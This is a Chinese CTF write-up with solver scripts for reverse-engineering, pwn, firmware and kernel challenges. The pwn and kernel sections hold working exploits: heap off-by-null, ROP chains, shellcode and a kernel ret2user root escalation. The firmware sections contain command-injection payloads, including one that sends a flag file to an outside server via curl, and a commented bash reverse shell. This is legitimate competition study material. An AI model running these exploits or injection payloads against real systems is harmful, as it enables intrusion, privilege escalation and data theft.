RE
obfu
將輸入的字符串轉(zhuǎn)化為16進制后存儲。
((input[(i+15) % 16] << 5) & 0xE0) | ((input[i % 16] >> 3) & 0x1F) -> input1
input1作為明文,admin_sha256前16字節(jié)作為key,rc4加密 -> enc_res
enc_res作為明文判没,admin_sha256前16字節(jié)作為key, AES_decrypt,得到的結(jié)果再與admin_sha256后16字節(jié)逐字節(jié)異或 -> out
out 與 admin_md5 進行 memcmp。
大致的流程就是這樣扶踊,反過來解密就行。
解密腳本如下:
#coding:utf-8
from Crypto.Cipher import ARC4, AES
from binascii import b2a_hex, a2b_hex
import hashlib
admin_sha256 = '\x8c\x69\x76\xe5\xb5\x41\x04\x15\xbd\xe9\x08\xbd\x4d\xee\x15\xdf\xb1\x67\xa9\xc8\x73\xfc\x4b\xb8\xa8\x1f\x6f\x2a\xb4\x48\xa9\x18'
admin_sha256_or = '\x8C\xE5\x1F\x93\x50\xF4\x45\x11\xA8\x54\xE1\xB5\xF0\xA3\xFB\xCA\x6E\xD6\xCE\x61\xBB\x8F\xB7\xF3\x10\xB7\x70\x45\x9E\xFC\xE1\xB1'
admin_sha256_b16 = admin_sha256_or[0:16]
admin_sha256_h16 = admin_sha256_or[16:]
def RC4_encrypt(key, content):
rc41 = ARC4.new(key)
encrypted = rc41.encrypt(content)
return encrypted
def RC4_decrypt(key, enc):
rc41 = ARC4.new(key)
data = rc41.decrypt(enc)
return data
def Pad(b):
# PKCS5
BLOCK_SIZE = 16
pad = lambda s: (s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE))
raw = pad(str(b))
return raw
def pkcs7padding(text):
"""明文使用PKCS7填充 """
bs = 16
length = len(text)
bytes_length = len(text)
padding_size = length if (bytes_length == length) else bytes_length
padding = bs - padding_size % bs
padding_text = chr(padding) * padding
return text + padding_text
def AES_encrypt(key, content):
aes = AES.new(key)
encrypted = aes.encrypt((content))
return encrypted
def AES_decrypt(key, enc):
aes = AES.new(key)
data = aes.decrypt(enc)
return data
md5_admin = '\x21\x23\x2f\x29\x7a\x57\xa5\xa7\x43\x89\x4a\x0e\x4a\x80\x1f\xc3'
or_md5_admin = ''
for i in range(len(md5_admin)):
or_md5_admin += chr((ord(md5_admin[i]) ^ ord(admin_sha256_h16[i])) & 0xff)
enc_res = AES_encrypt(admin_sha256_b16, or_md5_admin)
input1 = RC4_decrypt(admin_sha256_b16, enc_res)
print(input1.encode('hex'))
input = ''
for i in range(len(input1)):
input += chr(((ord(input1[i % 16]) & 0x1f) << 3) | ((ord(input1[(i+1) % 16]) & 0xe0) >> 5))
print(input.encode('hex'))
decryption
加密邏輯很簡單郎任,一看就會秧耗。直接爆破就完事了。
#include <stdio.h>
#include <string.h>
char encrypt(char flag_char, char idx)
{
char result;
char v3;
do
{
v3 = 2 * (idx & flag_char);
flag_char ^= idx;
idx = v3;
}
while ( v3 );
result = flag_char ^ 0x23;
return result;
}
int main()
{
char enc[50] = "\x12\x45\x10\x47\x19\x49\x49\x49\x1A\x4F\x1C\x1E\x52\x66\x1D\x52\x66\x67\x68\x67\x65\x6F\x5F\x59\x58\x5E\x6D\x70\xA1\x6E\x70\xA3";
char msg[100] = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
char flag[50] = "0";
char tmp, idx, out, chr;
char i;
for(idx = 0; idx < 32; idx ++)
{
for(i=0; i<strlen(msg); i++)
{
if(encrypt(msg[i], idx) == enc[idx])
{
printf("%c", msg[i]);
break;
}
}
if(i == strlen(msg))
printf("\n idx = %d, not find\n", idx);
}
}
babyre
似乎有個用戶態(tài)的內(nèi)核交互函數(shù)舶治,不是太看得懂分井,全程OD動調(diào)。
ZwSetInformationThread反調(diào)試霉猛,od直接過掉不執(zhí)行
發(fā)現(xiàn)程序動態(tài)展開了一段空間杂抽,解密邏輯在這里面。
用od把這段空間dump下來韩脏,OEP懶得找缩麸,直接設置成解密函數(shù)地址。dump下來用IDA逆向赡矢,發(fā)現(xiàn)是SM4加密,"Ez_5M4_C1pH@r!!!"為密鑰杭朱。網(wǎng)上找了個SM4解密程序,解一下就有flag吹散。
https://blog.csdn.net/jiujiederoushan/article/details/100122773
// Ez_5M4_C1pH@r!!! -> 457a5f354d345f433170484072212121
// part1: EA6358B78CE2A1E9C5298F53E8083259 34326230363162346362343163666138
// part2: AF1B67AED9DACFC472FFB1EC7673F306 39636137383034376264653138353665
// flag: 42b061b4cb41cfa89ca78047bde1856e
PWN
ememarm
off by null
可以分配0x20 / 0x30的chunk弧械, 利用off by null來修改tcache鏈,任意地址分配空民。
盲猜遠程是qemu起的刃唐,qemu起的話地址是不變的。但是和我本地的地址不一樣界轩,靠修改got表泄露出了libc基地址的低3位画饥。有了這個直接把free@got改成system就完事了。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def start(content):
p.sendafter('~~4268144\n', str(content))
def request(size, cx, cy, flag):
if size == 0x20:
p.sendlineafter('choice', str(1))
else:
p.sendlineafter('choice', str(4))
p.sendafter('cx', str(cx))
p.sendafter('cy', str(cy))
p.sendlineafter('delete?', str(flag))
def edit(index, content):
p.sendlineafter('choice', str(3))
p.sendline(str(index))
p.send(str(content))
def out():
p.sendlineafter('choice', str(5))
debug = 0
# if debug == 0:
# p = process(['qemu-aarch64-static','-L','.','./ememarm'])
# else:
# p = process(['qemu-aarch64-static','-L','.','-g','1234','./ememarm'])
p = remote('183.129.189.60', 10034)
libc_base = 0x400084c000
system = libc_base + 0x3F2C8
free_hook = libc_base + 0x156630
puts_plt = 0x400740
payload = '/bin/sh'.ljust(0x10, '\x00')
start(payload)
request(0x30, 0, 0x41, 1) # 0
request(0x20, 0, 0x31, 1) # 1
request(0x20, 0, 0x31, 1) # 2 -> board
request(0x20, 0, 0x31, 1) # 3
edit(3, '\x00'*0x8+'\x31'.ljust(0x10,'\x00'))
edit(3, p64(0x412030))
request(0x20, 0, 0x31, 0)
request(0x20, '\x40', '\xc8\xf2\x86', 1) # free@got
# edit(3, '\x00') # leak
out()
p.sendline('cat flag')
flag = p.recvuntil('\n', timeout=2)
print(flag)
p.interactive()
emarm
任意地址寫浊猾,在ememarm中已經(jīng)知道了libc基地址低3位抖甘,直接把system函數(shù)地址低3位拿過來把atoi@got改掉就完事了(ememarm第一天放,這題是第二天放的葫慎,直接把地址拿過來用了2333)
#coding:utf-8
from pwn import *
context.log_level = 'debug'
debug = 0
# if debug == 0:
# p = process(['qemu-aarch64-static','-L','.','./emarm'])
# else:
# p = process(['qemu-aarch64-static','-L','.','-g','1234','./emarm'])
atoi_got = '4268064'
p = remote('183.129.189.60', 10012)
p.sendlineafter('passwd:\n', '\x001')
p.send(atoi_got)
p.sendafter('success', '\xc8\xf2\x86')
p.sendlineafter(' bye\n', 'sh')
p.interactive()
justcode
四次機會衔彻,前兩次分別泄露libc薇宠,stack,第三次寫入地址got艰额,第四次往got表寫入csu_gadget來ROP
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def sendCode(code):
for i in code:
p.sendline(str(i))
def edit(id):
p.sendlineafter("id:", str(int(id)))
def add(name):
p.sendafter('name:', str(name))
# sleep(0.1)
csu_gadget1 = 0x400EA0 #0x400E9A
elf = ELF('./justcode')
libc = ELF('./libc-2.23.so')
# p = process('./justcode', env={'LD_PRELOAD':'./libc-2.23.so'})
p = remote('183.129.189.60', 10041)
sendCode([1, 1, 1, 2])
add('a'*8)
p.recvuntil('a'*8)
libc_code = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x7b60e -0x10
print('-----libc:', hex(libc_code))
pop_rdi_ret = libc_code + 0x21112#0x0000000000021102 # 0x21112
pop_rsi_ret = libc_code + 0x202f8#0x00000000000202e8 # 0x202f8
pop_rdx_ret = libc_code + 0x0000000000001b92
pop_rdx_rsi_ret = libc_code + 0x115189#0x00000000001150c9 # 0x115189
ret = libc_code + 0x0000000000000937
pop_rax_ret = libc_code + 0x000000000003a738#0x0000000000033544 # 0x000000000003a738
pop_rdi_rbp_ret = libc_code + 0x000000000002026b#0x0000000000020256 # 0x000000000002026b
add('a'*0x28)
p.recvuntil('a'*0x28)
ret = u64(p.recvuntil('\x0a', drop=True)[-6:].ljust(8,'\x00')) - 0x40 + 8
print('-----ret:', hex(ret))
# fd = open("flag", O_RDONLY)
# read(fd, store, 0x50)
# write(1, store, 0x50)
flag = ret - 0x18
rop = p64(pop_rdi_ret)+p64(flag) + p64(pop_rsi_ret)+p64(0) + p64(libc_code+libc.sym['open'])
rop += p64(pop_rdi_ret)+p64(3) + p64(pop_rdx_rsi_ret)+p64(0x50)+p64(0x6020e0) + p64(libc_code+libc.sym['read'])
rop += p64(pop_rdi_ret)+p64(1) + p64(libc_code+libc.sym['write'])
rop += 'flag\x00'
print(hex(len(rop)))
add(p64(pop_rax_ret)+p32(elf.got['puts'])*2 + rop)
edit(pop_rdi_ret & 0xffffffff)
p.interactive()
undlcv
令人很想吐槽的一道題
off_by_null
修改prev_size并且利用off_by_null 修改下一個chunk的PREV_INUSE標志位澄港,unlink,將bss段上存儲第一個chunk地址改為它本身-0x18.
這時還剩下三次edit的機會柄沮。一次修改bss段上的數(shù)據(jù)并且填充虛假的dl-resolve時用到的信息慢睡,第二次修改.dynamic里的DT_STRTAB / DT_SYMTAB里的信息,最后一次修改got表铡溪,讓程序執(zhí)行這個函數(shù)的時候進入dl-resolve流程漂辐,重定位到system函數(shù)。
令人吐槽的點來了棕硫,pwn進去了以后flag是root才能讀的髓涯??哈扮?后來才知道這里要用CVE-2019-14287 SUDO提權(quán)纬纪。。滑肉。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
def add(index):
p.send('1'.ljust(0xa, '\x00'))
p.send(str(index).ljust(0xa, '\x00'))
def edit(index, content):
p.send('2'.ljust(0xa, '\x00'))
p.send(str(index).ljust(0xa, '\x00'))
p.send(str(content))
sleep(0.1)
def delete(index):
p.send('3'.ljust(0xa, '\x00'))
p.send(str(index).ljust(0xa, '\x00'))
def magic():
p.send('4'.ljust(0xa, '\x00'))
magic_malloc = 0x4014E1
free = 0x40145C
malloc = 0x04012C9
read = 0x401390
memset = 0x401222
malloc_addr = 0x403480
fake_fd = malloc_addr - 8*3
fake_bk = malloc_addr - 8*2
pop_rdi_ret = 0x0000000000401613
pop_rsi_r15_ret = 0x0000000000401611
ret = 0x000000000040101a
p = 0
def exploit():
global p
elf = ELF('./undlcv')
p = process('./undlcv')
# p = remote('183.129.189.60', 10013)
add(0)
add(1)
edit(0, p64(0)+p64(0xf1)+p64(fake_fd)+p64(fake_bk)+'\x00'*0xd0 + p64(0xf0))
delete(1)
offset = 0
fake_symtab = p32(offset) + p32(0x12) + p32(0)*4 # 0x18 0x403490
fake_strtab = 'system\x00'
edit(0, (p64(0)*3+p64(elf.got['atoi'])+p64(0x04032A0) + fake_symtab + fake_strtab).ljust(0xf8))
p.send('2'.ljust(0xa, '\x00'))
p.send(str(1).ljust(0xa, '\x00'))
p.send(p64(0x5)+p64(0x403490 + len(fake_symtab)) + p64(0x6)+p64(0x403490 - 0x18))
sleep(0.1)
p.send('2'.ljust(0xa, '\x00'))
p.send(str(0).ljust(0xa, '\x00'))
p.send(p64(0x401030))
sleep(0.1)
# gdb.attach(p,'b*{}'.format(0x40124E))
p.send('/bin/sh')
p.interactive()
if __name__ == '__main__':
exploit()
固件
NodeMce
strings 直接出
easymsg
個人感覺槽點超雞多的一道題
arm架構(gòu)包各,沒給libc,ok, fine靶庙,自己apt裝一個問題不大
逆向问畅,邏輯挺清楚,一看就會六荒,為了方便調(diào)試patch改了pthread和網(wǎng)卡名字
ifconfig指令獲得MAC地址
readFile指令把config.dat弄過來护姆,我感覺出題人應該是想弄個像路由器配置文件泄露一樣,但這題沒有任何背景掏击,強行弄上去只會讓人感到無厘頭卵皂。
CVE-2019-19822, 找了個網(wǎng)站獲得解密程序,https://sploit.tech/2019/12/16/Realtek-TOTOLINK.html砚亭,config.dat泄露出賬號密碼
登陸灯变,命令注入執(zhí)行即可
本來以為當前目錄下就有flag,ls了一下發(fā)現(xiàn)flag是 /flagG1zjin
腳本如下
import zlib
from pwn import *
import base64
class Msg():
def __init__(self, choice, content, ip, port):
self.magic = 'HwsDDW'
self.crc = self.cal_crc32(content)
self.msg_len = 0x101
self.choice = choice
self.ip = ip
self.port = port
msg = self.magic
msg += chr((self.msg_len >> 8) & 0xff) + chr(self.msg_len & 0xff)
msg += chr((self.choice >> 8) & 0xff) + chr(self.choice & 0xff)
msg += chr(self.crc >> 24) + chr((self.crc >> 16) & 0xff) + chr((self.crc >> 8) & 0xff) + chr((self.crc) & 0xff)
msg += content
self.msg = msg
def cal_crc32(self, s):
return zlib.crc32(str(s)) & 0xffffffff
def send(self):
p = remote(self.ip, self.port)
context.log_level = 'debug'
p.send(self.msg)
ret = ''
try:
while True:
tmp = p.recv(1024)
if len(tmp) == 0:
break
ret += tmp
except:
pass
p.close()
return ret
# 183.129.189.60 10016
# /home/messageBox/messageBox
remote_ip = '183.129.189.60'
remote_port = 10016
# get mac
info = base64.b64decode(Msg(0x102, 'ifconfig:'.ljust(0x101, '\x00'), remote_ip, remote_port).send())
info = info[info.index('tap'):]
info = info[info.index('ether ')+6:info.index('ether ')+6+17]
print(info)
mac = ''
for i in range(len(info)):
if info[i] != ':':
mac += str(info[i].upper())
print(mac)
# get config.dat
# cmd = 'readFile:./config.dat'
# msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
# data = base64.b64decode(msg.send())
# with open('config.dat', 'wb') as f:
# f.write(data)
# login
msg = Msg(0x102, 'setSystemParam:user:admin\npassword:alexandr1s'.ljust(0x101, '\x00'), remote_ip, remote_port)
msg.send()
# leaveName
cmd = 'leaveName:'+str(mac)+':a";echo `cat /flagG1zjin` > /tmp/out;echo "Fuck'
print(Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port).send())
# read flag
cmd = 'readFile:/tmp/out'
msg = Msg(0x102, cmd.ljust(0x101, '\x00'), remote_ip, remote_port)
print(base64.b64decode(msg.send()))
STM
stm32單片機的bin文件
https://www.cnblogs.com/panda-w/p/11548121.html
參考這個來反匯編
STM32存儲空間布局:https://blog.csdn.net/kevinhg/article/details/45599485
根據(jù)存儲空間調(diào)整下基地址捅膘,識別一下代碼逆一下就行, 就是一個簡單的異或 (如果有板子的話刷上去直接就有flag了)
enc = [0x7D,0x77,0x40,0x7A,0x66,0x30,0x2A,0x2F,0x28,0x40,0x7E,0x30,0x33,0x34,0x2C,0x2E,0x2B,0x28,0x34,0x30,0x30,0x7C,0x41,0x34,0x28,0x33,0x7E,0x30,0x34,0x33,0x33,0x30,0x7E,0x2F,0x31,0x2A,0x41,0x7F,0x2F,0x28,0x2E,0x64]
flag = ''
for i in enc:
flag += chr((i ^ 0x1e)+3)
print(flag)
# flag{1749ac10-5389-11eb-90c1-001c427bd493}
PPPPPPC
PowerPc架構(gòu)的pwn
棧溢出添祸,寫入shellcode,會將寫入的內(nèi)容strcpy到bss段篓跛,不熟悉PowerPc匯編膝捞,一直卡在怎么讓shellcode沒有零字節(jié)。
后來還是放棄繞過零字節(jié)
利用出錯會將寄存器打印出來以及qemu棧地址不變愧沟,將遠程棧地址弄到手蔬咬,直接ret到棧上的shellcode
#coding:utf-8
from pwn import *
context(log_level = 'debug', arch='PowerPc', os='linux')
elf = ELF('./PPPPPPC')
port = '1234'
local = 0
debug = 1
if local:
if debug:
p = process(argv=['./qemu-ppc-static','-g',port,'./PPPPPPC'])
else:
p = process(argv=['./qemu-ppc-static','./PPPPPPC'])
else:
p = remote('183.129.189.60',10039)
stack = 0x100B3390
# stack = 0xf6ffed70 - 0x138 + 8
stack = 0xf6fffbf0 - 0x138 + 8
shellcode = '7c631a783c60100b386333907c8422787ca52a787c8023787c86237838c6011768c6011c7cc0337844000002'.decode('hex')
'''
xor 3,3,3
lis 3, 0x100B
addi 3, 3, 0x3390
xor 4,4,4
xor 5,5,5
mr 0, 4
mr 6, 4
addi 6, 6, 0x117
xori 6, 6, 0x11c
mr 0, 6
sc
'''
payload = ('/bin/sh\x00'+shellcode).ljust(0x138,'\x01')+p32(0) + p32(stack)
p.sendlineafter('name:', payload)
p.interactive()
httpd
給了個Boa/0.94.14rc21
沒給boa.conf,什么都沒給,就給了個可執(zhí)行文件沐寺,還得自己去官網(wǎng)下源碼從example中復制過來林艘。。混坞。
大致對比下源碼狐援,用下功能,發(fā)現(xiàn)多加了個登陸功能究孕,通過查找字符串找到驗證登陸的地址啥酱。
發(fā)現(xiàn)當密碼為Http-Server時有個命令注入漏洞。
登陸函數(shù)主要需要注意*(a1+104), *(a1+108)
查找字符串往上發(fā)現(xiàn)厨诸,*(a1+104)為REFERER字段镶殷,*(a1+108)為Authorization
驗證Authorization字段,格式為Basic+空格+base64encode("user:password")
REFERER字段命令注入微酬。
通過curl自己服務器绘趋,查看access.log來帶出flag
flag不在當前路徑,find一下或者ls | awk '{print $1}' | sed -n '2p' 來查找都隨意颗管。
最后flag在 /home/httpd/flag.txt
#coding:utf-8
from pwn import *
context.log_level = 'debug'
# qemu elf base -> 0xfffb9000
payload = '''GET / HTTP/1.1\r
Host: 183.129.189.60:10038\r
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0\r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\r
Accept-Encoding: gzip, deflate\r
Connection: close\r
Cookie: platform=0\r
Upgrade-Insecure-Requests: 1\r
Authorization: Basic cm9vdDpIdHRwLVNlcnZlcg==\r
REFERER: 'a' > /tmp/out; curl http://xxx.xxx.xxx.xxx/`cat /home/httpd/flag.txt`;echo a\r
\r
'''
# bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/10003 0>&1
# curl http://xxx.xxx.xxx.xxx/`find /hm -name "*fla*"`
# ls | awk '{print $1}' | sed -n '1p'
def recvmsg(p):
msg = ''
try:
while True:
tmp = p.recv(1024)
if len(tmp) == 0:
break
msg += tmp
except Exception as e:
print(e)
finally:
pass
return msg
for i in range(2):
p = remote('183.129.189.60', 10038)
# p = remote('127.0.0.1', 6259)
p.send(payload)
msg = recvmsg(p)
print(msg)
p.close()
blinkblink
給了一個路由器的固件陷遮,binwalk直接可解
解出來后,進etc_ro路徑看看rcS啟動文件垦江,發(fā)現(xiàn)自啟動了一個goahead的程序帽馋,這個路由器使用goahead作為web服務器。
吃虧在沒了解過goahead比吭,一般而言路由器漏洞更多出現(xiàn)在二次開發(fā)上茬斧,因此我直奔cgi-bin去看,結(jié)果發(fā)現(xiàn)需要身份認證才能訪問cgi-bin梗逮。
特別感謝lxonz師傅项秉,賽后向師傅詢問了下解法,才知道goahead還有g(shù)oform這個東西慷彤,在師傅的幫助下發(fā)現(xiàn)在main函數(shù)里面還有個formDefineCGIjson()函數(shù)娄蔼,里面定義了開發(fā)者自定義的處理函數(shù)。
這里面有個set_cmd字段十分引人注意底哗,逆向分析測試一下就能發(fā)現(xiàn)這個函數(shù)能夠任意命令執(zhí)行岁诉。
easyBios
這里重點寫下如何將需要的PE文件提取出來跋选。
運行涕癣,出現(xiàn)getflag
binwalk -Me easybios 看看
發(fā)現(xiàn)了很多PE文件
提取這些PE文件可以參考https://www.52pojie.cn/thread-995219-1-1.html,使用uefi-firmware-parser工具來提取前标,但這個工具提取出來文件太多不好辯認坠韩,這里不用這個工具距潘。
binwalk并不會自動將這個多PE文件分開來,而是合在了一起只搁,名字叫840A8音比,把這個文件拖到winhex,直接搜索Wrong字符串氢惋,注意這里要選擇Unicode格式(比賽時用grep直接搜"Wrong"就死活沒搜到)洞翩,最終確定在偏移0x37F1B0處。結(jié)合binwalk剛剛分析的結(jié)果使用dd將PE文件提取出來焰望。dd if=840A8 of=out skip=xxx count=xxx bs=1
提取出來后放入IDA分析即可骚亿。
要求輸入32個0-f的字符,并將str轉(zhuǎn)化為hex
最后進行加密
加密邏輯很簡單熊赖,就是16個輸入的數(shù)字和16個固定的數(shù)字進行異或来屠。這16個固定的數(shù)字可以用qemu+gdb直接調(diào)試出來,也可以自己根據(jù)邏輯寫個程序算一下秫舌。
兩種方法都來了一下的妖,下面是解題程序
qemu+gdb直接把數(shù)字調(diào)試出來:
enc = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E"
a = "\xce\xcd\x98\xbb\x76\xda\x77\x02\x5c\x5d\x56\x0b\xc9\xb1\x50\x02"
flag = ''
for i in range(len(a)):
flag += chr(ord(enc[i]) ^ ord(a[i]))
print(flag.encode('hex'))
# flag: 88baec0b5154f859b5851097bb567f5c
自己寫程序算一下:
#include <stdio.h>
char ovmf[0x500] = "OVMF_And_Easy_Bios";
char enc[0x500] = "\x46\x77\x74\xB0\x27\x8E\x8F\x5B\xE9\xD8\x46\x9C\x72\xE7\x2F\x5E";
int main()
{
int i, v6, v7, v8, v9;
int v17[0x500];
for ( i = 0; i != 256; ++i )
{
v17[i] = i;
v17[i + 256] = ovmf[(int)i % 18];
}
v6 = 0;
v7 = 0;
do
{
v8 = v17[v6];
v7 = (v17[v6 + 256] + v8 + v7) % 256;
v9 = v17[v7];
v17[v7] = v8;
v17[v6++] = v9;
}
while ( v6 != 256 );
int v10 = 0;
int v11 = 0;
int v12 = 0;
int v13, v14, v15, result;
do
{
v12 = (unsigned char)(v12 + 1);
v13 = v17[v12];
v14 = (v13 + v11) % 256;
v15 = v17[v14];
v17[v14] = v13;
v11 = (v13 + v11) % 256;
v17[v12] = v15;
result = (unsigned int)v17[(v15 + v17[v14]) % 256];
enc[v10++] ^= result;
}
while ( v10 != 16 );
for(int i=0; i<16; i++)
{
printf("%02hhx", enc[i]);
}
}
Kernel
dd_kernel
copy_from_user(void *to, const void __user *from, unsigned long n)
可以看到copy_from_user 中 n的類型為 unsigned long , 但是這個驅(qū)動里只對n低8bit數(shù)字大小進行了比較。讓n == 0x101即可繞過檢查足陨。之后就是內(nèi)核的棧溢出了嫂粟。SMEP / SMAP啥的保護都沒有開,直接ret2user就完事了
//64bits
#include <err.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/types.h>
uint64_t (*commit_creds)(uint64_t kernel) = (uint64_t)0xffffffff8105d235;
uint64_t (*prepare_kernel_cred)(uint64_t kernel) = (uint64_t)0xffffffff8105d157;
uint64_t (*dou_stack_base)(uint64_t kernel) = (uint64_t)0xffffffffa0000000;
struct trap_frame{
void *rip;
uint64_t cs;
uint64_t rflags;
void * rsp;
uint64_t ss;
}__attribute__((packed)); // 保存狀態(tài)的結(jié)構(gòu)體
struct trap_frame status; // 保存狀態(tài)
void templine()
{
commit_creds(prepare_kernel_cred(0));
asm(
"swapgs\n"
"mov $status,%rsp\n"
"iretq"
);
}
void shell()
{
printf("[*] Get Root Shell!\n");
system("/bin/sh");
}
void save() // 將狀態(tài)保存在status中
{
asm(
"mov %%ss, %0\n"
"mov %%rsp, %1\n"
"pushfq\n"
"pop %2\n"
"mov %%cs, %3\n"
:"=r"(status.ss),"=r"(status.rsp),"=r"(status.rflags),"=r"(status.cs)
:
:"memory"
);
status.rip = shell;
}
// procfile_read -> ffffffffa000006d
// procfile_write -> ffffffffa0000000
int main()
{
uint64_t rop[0x50];
save();
int fd = open("/proc/doudou", O_RDWR);
if(fd <= 0)
{
err(1, "open device");
}
rop[0] = rop[1] = 0;
rop[2] = (uint64_t)templine;
write(fd, rop, 0x100);
}
easy_kernel
windows內(nèi)核驅(qū)動逆向
xp 虛擬機+virtualkd+windbg+ollydbg調(diào)試
先是DES加密墨缘,密鑰為"}aglf_T_"星虹,邏輯在驅(qū)動程序里
DES加密完畢后,ollydbg調(diào)一下發(fā)現(xiàn)跳入了0x401080, 進行了錯位異或操作
逆一下就行了
#coding:utf-8
# ee7b5d18 7d 61 67 6c 66 5f 54 5f-73 0e dc 19 44 5d 7b ee }aglf_T_s...D]{.
# ee7b5d28 66 e3 89 f7 5c ff 12 00-80 a3 42 00 38 ff 12 00 f...\.....B.8...
# ee7b5c18 2c 2d 3b 2c 24 3b 06 0b-08 07 39 2c 1f 34 16 03 ,-;,$;....9,.4..
# ee7b5c28 07 35 39 19 04 37 34 07-0f 28 15 31 2d 0a 34 2f .59..74..(.1-.4/
# 0012ff38 49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85 I.5J1...I.5J1...
# 0012ff48 49 fb 35 4a 31 9e e3 85-49 fb 35 4a 31 9e e3 85 I.5J1...I.5J1...
from Crypto.Cipher import DES
import hashlib
def encrypt_des(cipher):
if cipher is None:
return ""
try:
key = '}aglf_T_'
# ECB方式
generator = DES.new(key, DES.MODE_ECB)
# 非8整數(shù)倍明文補位
pad = 8 - len(cipher) % 8
pad_str = ""
for i in range(pad):
pad_str = pad_str + chr(pad)
# 加密
encrypted = generator.encrypt(cipher + pad_str)
return encrypted
except Exception, e:
print Exception, ":", e
return ""
def decrypt_des(cipher):
if cipher is None:
return ""
try:
key = '}aglf_T_'
# ECB方式
generator = DES.new(key, DES.MODE_ECB)
decrypted = generator.decrypt(cipher)
return decrypted
except Exception, e:
print Exception, ":", e
return ""
# def xor_encrypt(enc):
# result = ''
# for i in range(31):
# result += chr(ord(enc[i]) ^ ord(enc[i+1]))
# result += enc[31]
# print(result.encode('hex'))
# return result
enc = "\xB2\xC4\x86\xD5\x54\x6C\x38\xAD\xBD\x69\xD4\xE9\x44\x47\x36\x21\x99\x91\xFB\x13\x70\xD8\x6B\xE4\x80\x12\xE2\x43\x2A\x4B\x49\x8E"
rev = ''
rev += '\x8E'
for i in range(-2, -33, -1):
rev += chr((ord(enc[i]) ^ ord(rev[abs(i)-2])) & 0xff)
rev = rev[::-1]
flag = decrypt_des(rev)
print(flag)
print(hashlib.md5('flag{WelcOme_to_kerne1_world!}').hexdigest())